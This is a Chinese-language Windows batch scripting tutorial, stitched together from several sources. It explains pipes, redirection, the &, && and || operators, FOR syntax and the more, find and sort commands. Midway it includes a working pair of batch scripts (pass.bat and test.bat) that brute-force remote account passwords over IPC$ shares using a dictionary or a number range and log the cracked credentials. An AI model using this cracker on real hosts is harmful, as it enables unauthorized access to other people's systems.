这个命令恐怕大家不是很陌生，经常操作 DOS 的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时 DOS 并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入 help 回车时，就会看到当前 DOS 版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：

help | more

回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回 DOS。

为什么会出现上述现象？答案很简单，这里结合了管道命令|和 DOS 命令 more 来共同达到目的的。这里先简单介绍一下 help 命令和 more 命令，对理解|命令的用法有很大帮助。

11.1、help 命令。其实这个命令是不需要多说的，但在上述例子中 help 命令的用法比较特殊，直接在 DOS 提示符下输入 help 命令，结果是让 DOS 显示其所支持的所有非隐含命令，而在其他地方用 help 命令，如输入 net help 回车，则是显示 net 命令的帮助信息。

11.2、more 命令。可能很多朋友以前就没有接触过这个命令，这个命令在 Linux 下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在 DOS 提示符下输入如下两个命令去比较一下差别：more a.txt 和 type a.txt。利用 more 命令，可以达到逐屏或逐行显示输出的效果，而 type 命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more 命令的

作用就是让输出的信息逐屏或逐行显示。

看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是 help 命令执行后显示的 DOS 所支持的所有非隐含命令，而这个结果刚好做了后一命令 more 的输入。所以例十三和下面的例十四是等效的：

```
help > a.txt
more a.txt
del a.txt
```

这里利用另一管道命令>生成了一个 a.txt 文件作为中间环节，在用 more 命令查看 a.txt 文件后再删除 a.txt 文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，>会清除掉原有文件中的内容后把新的内容写入原文件，而>>只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：

```
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
```

依次在 DOS 提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个 a.bat 文件，里面的内容如下：

```
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
```

看到这里，你得到了多少信息？

1、可以直接在 DOS 提示符下利用 echo 命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；

2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作，最后也会生成一个 a.bat，但里面的内容就只剩下最后一行 exit 了。所以>和>>一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就 ok 了，当然如果想仔细研究的话，可以自己查一下资料。

<，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。

>&，将一个句柄的输出写入到另一个句柄的输入中。

<&，刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。

下面介绍组合命令：&、&&、||

组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。

刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？

忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，是男人就不能向困难低头！

14、&

这可以说是最简单的一个组合命令了，它的作用是用来连接 n 个 DOS 命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：

copy a.txt b.txt /y & del a.txt

其实这句和 move a.txt b.txt 的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&两边的命令是有执行顺序的，从前往后执行。

15、&&

切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果远程主机存在 user.mdb，则 copy 到本地 e:\backup\www，如果不存在当然就不执行 copy 了。这句对搞网管的朋友是否有点用呢？呵呵。

其实它和下面这句的作用是一样的：

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜欢用哪个就随便了，我没办法判断 dir 和 if 两个命令哪一个

执行效率更高，所以不知道用哪个更好，呵呵。

你是否还记得"有些命令是不能同时执行的"？你是否相信这句话？当然得相信，不信就给你出道题：把 C 盘和 D 盘的文件和文件夹列出到 a.txt 文件中。你将如何来搞定这道题？有朋友说，这还不是很 easy 的问题吗？同时执行两个 dir，然后把得到的结果>到 a.txt 里就 ok 了嘛，看例十八：

```
dir c:\ && dir d:\ > a.txt
```

仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后 a.txt 里只有 D 盘的信息！为什么？就因为这里&&命令和>命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&&的优先级没有管道命令>的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和 dir d:\ > a.txt，而并不是如你想的这两部分：dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求，必须得这么写：

```
dir c:\ > a.txt && dir d:\ >> a.txt
```

这样，依据优先级高低，DOS 将把这句话分成以下两部分：dir c:\ > a.txt 和 dir d:\ >> a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。

当然这里还可以利用&命令（自己想一下道理哦）：

```
dir c:\ > a.txt & dir d:\ >> a.txt
```

16、||

这个命令的用法和&&几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以 s 开头的 exe 文件，如果有则退出。例十九：

```
@echo off
dir s*.exe || exit
```

其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个 exe 文件，就退出；如果不存在那个 exe 文件，也退出！为什么？因为如果不存在那个.exe 文件，则前一条命令 dir s*.exe 执行肯定是不成功的，所以就继续执行 exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：

```
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & e
xit
```

这样执行的结果，就能达到题目的要求，是否存在 s*.exe 将出现两种结果。这里加暂停的意思，当然是让你能看到 echo 输出的内容，否则一闪而过的窗
口，echo 就白写了。

给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：

例二十一：

```
@echo off
dir a.ttt /a & dir a.txt || exit
```

例二十二：

```
@echo off
dir a.ttt /a && dir a.txt || exit
```

警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！

有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程："简明批处理教程"，虽然说的比较全面，但看起来很不过瘾。在对 for 等命令介绍时就一个 for /? > a.txt & start a.txt 完事了（当然这一点上我不能说人家什么，毕竟我连 for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如 for、set 等 DOS 命令的问题，可以从 DOS 的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！

将下列代码存为 bat 文件

1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名

2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名

密码破解出来之后，存放于 c:\pass.txt 文件里面。

将下列代码存为 pass.bat 文件

```
@echo off
echo ---------------------------------------------- >>c:\pass.txt
echo ---------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt

echo 破解结果： >>c:\pass.txt

if "%6"=="1" goto 大棒槌是我的说 2
:大棒槌是我的说 1
start " 正 在 破 解 " /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说 2
start " 正 在 破 解 " /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
```

将下列代码存为 test.bat

```
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use 成功返回 0，失败返回 2
:answer0
echo 远程主机："%1" >>c:\pass.txt
echo 用 户："%3" >>c:\pass.txt
echo 密 码：%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
```

For

对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令，请使用以下语法：

```
for %%variable in (set) docommand [command-parameters]
```

要在命令提示符下使用 for，请使用以下语法：

```
for %variable in (set) do command [command-parameters]
```

参数

%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 commandparameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。

如果启用了命令扩展（Windows 2000 中的默认设置），将支持 for 命令的其他形式。

For 命令的其他形式

如果启用了命令扩展，将支持如下 for 命令的其他格式：

只限于目录

```
for /D [%% | %]variable in (set) docommand [command-parameters]
```

如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。

递归

---

for /R [[drive :]path] [%% | %]variable in (set) docomm
and [command-parameters]

进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代
---

for /L [%% | %]variable in (start , step , end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。

文件解析
---

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]

或者，如果出现 usebackq 选项：

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。

过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。

跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。

关键字是：

关键字	说明
eol=c	指定行尾注释字符（只一个字符）
skip=n	指定在文件的开头跳过的行数。
delims=xxx	指定定界符集合。这将替换空格和制表符的默认分隔符集。
tokens=x,y,m-n	指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。 m-n 格式是一个范围，指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号， 则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。
usebackq	指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。

变量替换

此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）：

变量（使用修改程序）	说明
%~I	展开删除了周围的任何引号 (") 的 %I
%~fI	将 %I 展开到完全合格的路径名
%~dI	只将 %I 展开到驱动器号
%~pI	只将 %I 展开到路径
%~nI	只将 %I 展开到文件名
%~xI	只将 %I 展开到文件扩展名
%~sI	展开路径以只包含短名称
%~aI	将 %I 展开到文件的文件属性
%~tI	将 %I 展开到文件的日期/时间
%~zI	将 %I 展开到文件大小
%~$PATH:I	搜索 PATH 环境变量所列出的目录，并将 %I 展开开到第一个找到结果的全部合格名称。 如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。

修改程序可以合并以获得复杂的结果：

变量（使用合并的修改程序）	说明
%~dpI	只将 %I 展开到驱动器号和路径

%~nxI　　只将 %I 展开到文件名和扩展名
%~fsI　　将 %I 展开到只包含短名称的完整路径名
%~dp$PATH:I　　在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径
%~ftzaI　　将 %I 扩展到与 dir 相似的输出行

注意

在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。

使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆。

Shift

更改批处理文件中可替换参数的位置。

shift 启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如，

SHIFT /2

将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。

筛选器命令

筛选器命令可以帮助您排序、查看和选择部分命令输出结果。

通过筛选器命令传递信息

筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令：

more 命令每次显示一屏文件内容或命令输出。
find 命令在文件和命令输出中搜索指定字符。
sort 命令按字母顺序排列文件和命令输出。

要将输入从文件发送到筛选器命令，请使用小于符号 (<)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。

使用 more 命令来控制屏幕显示

---

more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容：

more < list.txt

信息显示一屏后，会出现字"More"。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。

如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。

如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示：

```
tree c:\ | more
```

tree 命令的第一屏输出被显示，后跟词"More"。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。

使用 find 命令搜索文本

find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击"相关主题"列表中的 find。

要将 find 当作筛选器命令使用，请包含小于符号 (<) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件

```
Trade.txt 中所有的"Pacific Rim"字符串：
find "Pacific Rim" < trade.txt
```

要保存 find 命令的输出而不是显示输出，请使用大于号 (>) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的

```
"Pacific Rim"字符串，并将结果保存在 Nwtrade.txt 文件中：
find "Pacific Rim" < trade.txt > nwtrade.txt
```

对文本文件排序

sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果：

```
sort < list.txt
```

在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort 命令的输出而不是显示输出，请在命令中包含大于号 (>) 和文件名。例如，可以使用以下命令对 List.txt 文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中：

```
sort < list.txt > alphlist.txt
```

要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序：

```
find "Jones" maillst.txt | sort
```

在键入该命令时，Windows 2000 按字母顺序列出在其中出现"Jones"的行。

带重定向符的合并命令

可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含"LOG"字符串的文件名:

```
dir /b | find "LOG" > loglist.txt
```

Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串"Log"的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表(如，A.log、Logdat.svd 和 Mylog.bat）。

要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含"Log"字符串的文件名，并且每次显示一屏：

```
dir c:\ /s /b | find "LOG" | more
```

因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串"Log"的文件名。more 命令每次一屏地显示 find 命令选择的文件名。

More

每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。

```
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filenam
e
```

more [/c] [/p] [/s] [/tn] [+n] [files]

参数

[drive:][path] filename	指定要显示的文件。
command name	指定将显示其输出的命令。
/c	显示页面前清除屏幕。
/p	扩展换页符。
/s	将多个空白行更改为一个空白行。
/tn	将制表位更改为 n 个空格
+n	显示由 n 指定的行开始的第一个文件。
files	指定要显示的文件列表。用空格分隔文件名。

More 子命令

以下命令在 more 提示 (-- More --) 下接受。

关键字	操作
space	显示下一页。
ENTER	显示下一行。
F	显示下一个文件。
q	退出。
?	显示可用命令。
=	显示行号。
P n	显示以下 n 行。
S n	跳过下面 n 行。

Find

在一个文件或多个文件中搜索指定的文本字符串。
当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。

find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]

参数

/v	显示未包含指定字符串的所有行。
/c	只显示包含指定字符串的行数。
/n	将文件行号置于每行开头。
/I	指定搜索不区分大小写。

"string"　　指定要搜索的字符组。必须将 string 的文本包括在引号中。

[drive:][path] filename　指定要在其中搜索指定字符串的文件的位置和名称。

Sort

读取输入、排序数据并将结果写到屏幕、文件和其他设备上。

sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]

[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:][path3]filename3]

参数

/r　　颠倒排序顺序,即从 Z 到 A 排序,然后从 9 到 0 排序。

/+n　　指定字符位置号 n,sort 在此处开始每次比较。例如，/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。

/m kilobytes　　指定用于排序的主内存数量，按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小，则无论有多少主内存可用，指定的确切数量（但至少 160 KB）的内存将用于排序。如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 90%，否则为主内存的 45%。默认设置通常会产生最佳的性能。

/l locale　　替代由系统默认区域设置定义的字符排序顺序；即在安装 Windows 2000 时选择的语言和"国家（地区）"。目前，默认区域设置唯一的备用选项就是"C"区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。

/rec characters　　指定记录或输入文件的行中的最多字符数（默认值为 4096，最大值为 65535）。

[drive1:][path1]filename1　　指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。

/t [drive2:][path2]　　指定保留 sort 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。

/o [drive3:][path3]filename3　　指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。

　　指定输出文件比将同一文件作为标准输出重定向速度快!

批处理高级教程精选合编 20080331（Windows XP）

前言

本教程主要引用伤脑筋版主的系列文章，同时参考引用[英雄]教程等其他批处理教程，本文将这些文章合并在一起，并适当修改，修改整理也是学习过程，力求深刻而又简单易懂，主要目的是方便自己以后查阅。

本教程很长啊，需要一定的耐心才能看完，能够看完的话，差不多就是批处理高手了，即使不是高手也是熟手了。如果连续不停的看完本教程而且理解得差不多，估计人也累趴下了。本教程适合对 dos 有一定基础的人慢慢学习或查阅。

查阅方法：复制目录中的条目，搜索即可。

目录

7、^　转义字符
8、&　组合命令
9、&& 组合命令
10、||　组合命令
11、""　字符串界定符
12、, 逗号
13、; 分号
14、() 括号
15、！感叹号

第二章 FOR 命令详解
一、参数 /d
二、参数 /R
三、参数 /L
四、参数 /F

第三章 FOR 命令中的变量
一、 ~I　　- 删除任何引号(")，扩展 %I
二、 %~fI　　- 将 %I 扩展到一个完全合格的路径名
三、 %~dI　　- 仅将 %I 扩展到一个驱动器号
四、 %~pI　　- 仅将 %I 扩展到一个路径
五、 %~nI　　- 仅将 %I 扩展到一个文件名
六、 %~xI　　- 仅将 %I 扩展到一个文件扩展名
七、 %~sI　　- 扩展的路径只含有短名
八、 %~aI　　- 将 %I 扩展到文件的文件属性
九、 %~tI　　- 将 %I 扩展到文件的日期/时间
十、 %~zI　　- 将 %I 扩展到文件的大小
十一、 %~$PATH:I

第四章 批处理中的变量
一、系统变量
二、自定义变量

第五章 set 命令详解
一、用 set 命令设置自定义变量
二、用 set 命令进行简单计算
三、用 set 命令进行字符串处理
1、字符串替换
2、字符串截取

第六章 if 命令讲解
第一种用法：IF [NOT] ERRORLEVEL number command
第二种用法：IF [NOT] string1==string2 command
第三种用法：IF [NOT] EXIST filename command

第四种用法：IF 增强的用法

第七章 DOS 编程高级技巧

一、界面设计
二、if…else…条件语句
三、循环语句
四、子程序
五、用 ftp 命令实现自动下载
六、用 7-ZIP 实现命令行压缩和解压功能
七、调用 VBScript 程序
八、将批处理转化为可执行文件
九、时间延迟
十、模拟进度条

整理者：龙卷风 http://xiangkg.blog.163.com
1、更正了所有的错别字，适当排版，增加条理性。
2、运行改善所有例子，并纠正了一些语法错误。
3、补充了一些不完全的地方。
4、第一章参考了网上许多教程汇编而成。
5、20080229 补充了变量延迟的问题。
6、20080305 修改了参数 usebackq 的说明
6、不断学习中，不断更新中。

==========

第一章 批处理基础

第一节 常用批处理内部命令简介

批处理定义：顾名思义，批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为 BAT 或者 CMD。这些命令统称批处

理命令。

小知识：可以在键盘上按下 Ctrl+C 组合键来强行终止一个批处理的执行过程。

了解了大概意思后,我们正式开始学习.先看一个简单的例子!

```
@echo off
echo "欢迎来到非常 BAT!"
pause
```

把上面的 3 条命令保存为文件 test.bat 或者 test.cmd 然后执行,
他就会在屏幕上显示以下二行话:

欢迎来到非常 BAT!
请按任意键继续. . .

这就是一个简单批处理文件了，这个批处理文件一共就用了 2 条命令 "echo" 和"pause" 还有一个特殊符号"@"

从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中

有多少这样的特殊符号和功能命令呢？我们现在就来仔细了解一下一些最常用的!

(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)
==========

批处理的常见命令（未列举的命令还比较多，请查阅帮助信息）

1、REM 和 ::
2、ECHO 和 @
3、PAUSE
4、ERRORLEVEL
5、TITLE
6、COLOR
7、mode 配置系统设备
8、GOTO 和 :
9、FIND
10、START
11、assoc 和 ftype
12、pushd 和 popd
13、CALL
14、shift
15、IF
16、setlocal 与 变量延迟

介绍命令

1、REM 和 ::

REM 为注释命令，一般用来给程序加上注解，该命令后的内容不被执行，但能回显。

其次,:: 也可以起到 rem 的注释作用, 而且更简洁有效; 但有两点需要注意：

第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
有效标号：冒号后紧跟一个以字母数字开头的字符串，goto 语句可以识别。
无效标号：冒号后紧跟一个非字母数字的一个特殊符号，goto 无法识别的标号，可以起到注释作用，所以 :: 常被用作注释符号，其实 :+ 也

可起注释作用。

第二，与 rem 不同的是，:: 后的字符行在执行时不会回显，无论是否用 echo on 打开命令行回显状态，因为命令解释器不认为他是一个有效的命令行，就此点来看，rem 在某些场合下将比 :: 更为适用；另外，rem 可以用于 config.sys 文件中。

2、ECHO 和 @

打开回显或关闭回显功能，或显示消息。如果没有任何参数， echo 命令将显示当前回显设置。

@字符放在命令前将关闭该命令回显，无论此时 echo 是否为打开状态。

语法:

echo [{ on|off}] [message]

echo.　#此用法将显示一空行，相当于回车，非常有用。

执行 echo off 将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行 echo on 命令。

执行@echo off 不但关闭以后命令的回显，连 echo off 命令本身也不显示了。

通常以@echo off 作为批处理程序的首行。

一般用 ECHO MESSAGE 来显示一个特定的消息。

例：

```
@Echo off
Echo hello
Pause
```

运行显示：hello

3、PAUSE

PAUSE，玩游戏的人都知道，暂停的意思

在这里就是停止系统命令的执行并显示下面的内容。

例：

```
PAUSE
```

运行显示：

请按任意键继续. . .

要显示其他提示语，可以这样用：

```
Echo 其他提示语 & pause > nul
```

4、errorlevel

程序返回码

```
echo %errorlevel%
```

每个命令运行结束，可以用这个命令行格式查看返回码
用于判断刚才的命令是否执行成功
默认值为 0，一般命令执行出错会设 errorlevel 为 1

5、title
设置 cmd 窗口的标题
title 新标题 #可以看到 cmd 窗口的标题栏变了

6、COLOR
设置默认的控制台前景和背景颜色。

COLOR [attr]

attr 指定控制台输出的颜色属性

颜色属性由两个十六进制数字指定 -- 第一个为背景，第二个则为前景。每个数字可以为以下任何值之一:

0 = 黑色	8 = 灰色
1 = 蓝色	9 = 淡蓝色
2 = 绿色	A = 淡绿色
3 = 湖蓝色	B = 淡浅绿色
4 = 红色	C = 淡红色
5 = 紫色	D = 淡紫色
6 = 黄色	E = 淡黄色
7 = 白色	F = 亮白色

如果没有给定任何参数，该命令会将颜色还原到 CMD.EXE 启动时的颜色。这个值来自当前控制台窗口、/T 开关或 DefaultColor 注册表值。

如果用相同的前景和背景颜色来执行 COLOR 命令，COLOR 命令会将 ERRORLEVEL 设置为 1。

例如: "COLOR fc" 在亮白色上产生亮红色

7、mode 配置系统设备

配置系统设备。

串行口: MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]
[to=on|off] [xon=on|off] [odsr=on|off]
[octs=on|off] [dtr=on|off|hs]
[rts=on|off|hs|tg] [idsr=on|off]

设备状态:　　MODE [device] [/STATUS]

打印重定向:　　MODE LPTn[:]=COMm[:]

选定代码页:　　MODE CON[:] CP SELECT=yyy

代码页状态:　　MODE CON[:] CP [/STATUS]

显示模式:　　MODE CON[:] [COLS=c] [LINES=n]

击键率:　　MODE CON[:] [RATE=r DELAY=d]

例：
mode con cols=113 lines=15 & color 9f
此命令设置 DOS 窗口大小：15 行，113 列

8、GOTO 和 :
GOTO 会点编程的朋友就会知道这是跳转的意思。
在批处理中允许以“:XXX”来构建一个标号，然后用 GOTO XXX 跳转到标号:XXX 处，然后执行标号后的命令。
例：
if {%1}=={} goto noparms
if "%2"=="" goto noparms

标签的名字可以随便起，但是最好是有意义的字符串啦，前加个冒号用来表示这个字符串是标签，goto 命令就是根据这个冒号（:）来寻找下一

步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

例：
@echo off
:start
set /a var+=1
echo %var%
if %var% leq 3 GOTO start
pause
运行显示：
1
2
3
4

9、find

在文件中搜索字符串。

